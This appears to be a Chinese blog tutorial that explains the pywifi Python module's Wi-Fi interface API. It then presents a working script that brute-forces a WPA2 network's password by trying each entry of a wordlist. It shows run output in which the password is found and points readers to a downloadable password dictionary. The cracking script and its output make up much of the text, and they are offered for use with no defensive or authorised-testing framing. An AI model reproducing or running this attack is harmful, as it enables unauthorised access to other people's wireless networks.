pywifi模块介绍:
pywifi提供了一个跨平台的Python模块,用于操作无线接口
支持Windows和Linux
在python 2.7和3.5下运行
小小的讲解:
这里的接口指我们用来执行wifi操作(例如:扫描,连接,断开…)的接口
通常,我们平台中只有一个Wi-Fi接口,就像你主机不能同时连接多个wifi(骚操作就算了),因此,使用索引0来获得Wi-Fi接口
wifi = pywifi.PyWiFi() #定义接口操作
iface = wifi.interfaces()[0] #这里iface就是获取的wifi接口
#注意:以下的iface全部是指通过此方式获取的wifi接口,在实际操作中可以自己另外命名
接口名字:
iface.name() #获取wifi接口名称
扫描wifi(AP):
iface.scan() #触发接口扫描附近wifi(就是AP啦)
获取扫描结果:
iface.scan_result() #获取先前触发扫描的结果,会返回一个列表哟
添加AP配置文件(为了连接):
iface.add_network_profile(配置文件名) #下面会讲解如何进行配置
删除所有AP配置文件(为了下一次新的连接):
iface.remove_all_network_profiles()
返回配置文件列表:
iface.network_profiles() #你连接上wifi的时候可以用这个试试,会返回你连接的wifi的信息
连接wifi:
iface.connect(配置文件名) #通过给定的配置文件连接到指定的AP
#注意:添加AP配置文件add_network_profile(profile),应该在连接AP iface.connect(profile)之前
断开AP连接:
iface.disconnect() #断开当前的AP连接
获取当前接口状态:
iface.status()
将返回以下状态码之一(相信大家还是能看懂的,嘿嘿):
const.IFACE_DISCONNECTED
const.IFACE_SCANNING
const.IFACE_INACTIVE
const.IFACE_CONNECTING
const.IFACE_CONNECTED
生成配置文件对象:
profile=pywifi.Profile() #生成对象而已,接下来就能对他进行配置操作了
配置文件的操作方式:
ssid - AP的名称
auth - AP的认证算法
akm - AP的密钥管理类型
cipher - AP的密码类型
key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE
使用方式:
profile.ssid='wifi_name' #wifi名称
profile.auth=const.AUTH_OPEN #auth - AP的认证算法
profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式
profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密码类型
profile.key=password #wifi密钥 key (optinoal) - AP的关键。如果无密码,则应该设置此项CIPHER_TYPE_NONE
必要的说明:
auth - AP的认证算法:
也是身份验证的算法,其实,几乎所有AP都使用开放算法,尽管我们可以有以下设置
const.AUTH_ALG_OPEN
const.AUTH_ALG_SHARED
akm - AP的密钥管理类型:
const.AKM_TYPE_NONE #AP没有安全设置
const.AKM_TYPE_WPAPSK #AP处于WPA模式
const.AKM_TYPE_WPA2PSK #AP处于WPA2模式
AKM_TYPE_WPA和AKM_TYPE_WPA2针对企业的AP(这里就不解释了):
const.AKM_TYPE_WPA
const.AKM_TYPE_WPA2
cipher - AP的密码类型:
const.CIPHER_TYPE_NONE #如果AP没有安全设置,则应将密码类型设置为ProfileAKM_TYPE_NONE
const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP #通常情况下设置为这个,虽然不知道是什么
接下来就要灵活使用上面的操作了
代码:
(还有点小问题,针对中文wifi名无法破解)
import pywifi
from pywifi import const #引用一些定义
import time
def testwifi(password):
wifi=pywifi.PyWiFi() #抓取WiFi接口
ifaces=wifi.interfaces()[0] #一般来说,平台上只有一个Wi-Fi接口。因此,使用索引0来获得Wi-Fi接口
#print(ifaces.name()) #我们可以试试输出网卡名称
ifaces.disconnect() #断开网卡连接
profile=pywifi.Profile() #定义配置文件对象
profile.ssid='root' #wifi名称,貌似不能用中文?
profile.auth=const.AUTH_ALG_OPEN #auth - AP的认证算法
profile.akm.append(const.AKM_TYPE_WPA2PSK) #选择wifi加密方式 akm - AP的密钥管理类型
profile.cipher=const.CIPHER_TYPE_CCMP #cipher - AP的密码类型
profile.key=password #wifi密钥 如果无密码,则应该设置此项CIPHER_TYPE_NONE
ifaces.remove_all_network_profiles() #删除其他配置文件
tmp_profile=ifaces.add_network_profile(profile) #加载配置文件
ifaces.connect(tmp_profile) #按配置文件进行连接
time.sleep(1) #尝试几秒能否成功连接
if ifaces.status() == const.IFACE_CONNECTED: #判断连接状态
return True
else:
return False
def main():
print("start ...")
path=r"wordlist.txt"
files=open(path,'r')
while True:
f=files.readline()
f = f[:-1] #去除了这行文本的最后一个字符(换行符)后剩下的部分
print('[-]正在尝试:', f)
bool=testwifi(f)
if bool:
print('[+]wifi连接成功!')
print("密码为:",f)
break
else:
print("[-]wifi连接失败!")
if not f: #如果文件逐行读取完,则退出
break
files.close()
if __name__=="__main__":
main()
运行结果:
start ...
[-]正在尝试: %null%
[-]wifi连接失败!
[-]正在尝试: %username%
[-]wifi连接失败!
[-]正在尝试: !@#$%^
[-]wifi连接失败!
[-]正在尝试: !@#$%^&
[-]wifi连接失败!
[-]正在尝试: !@#$%^&*
[-]wifi连接失败!
[-]正在尝试: 000000
[-]wifi连接失败!-]正在尝试: 00000000
[-]wifi连接失败!
[-]正在尝试: 0123456789
[-]wifi连接失败!
[-]正在尝试: 12345678
[+]wifi连接成功!
密码为: 12345678
该代码在读取密码文档到20行后,会抛出如下错误(ERROR Open handle failed!),但并不影响程序运行和结果:
如果有知道是什么原因的,希望能在评论区指出,谢谢。
关于pywifi模块的官方文档:https://github.com/awkman/pywifi
另外分享一个我在网上找的密码字典,看起来还不错:百度云 密码字典 提取码:ntfe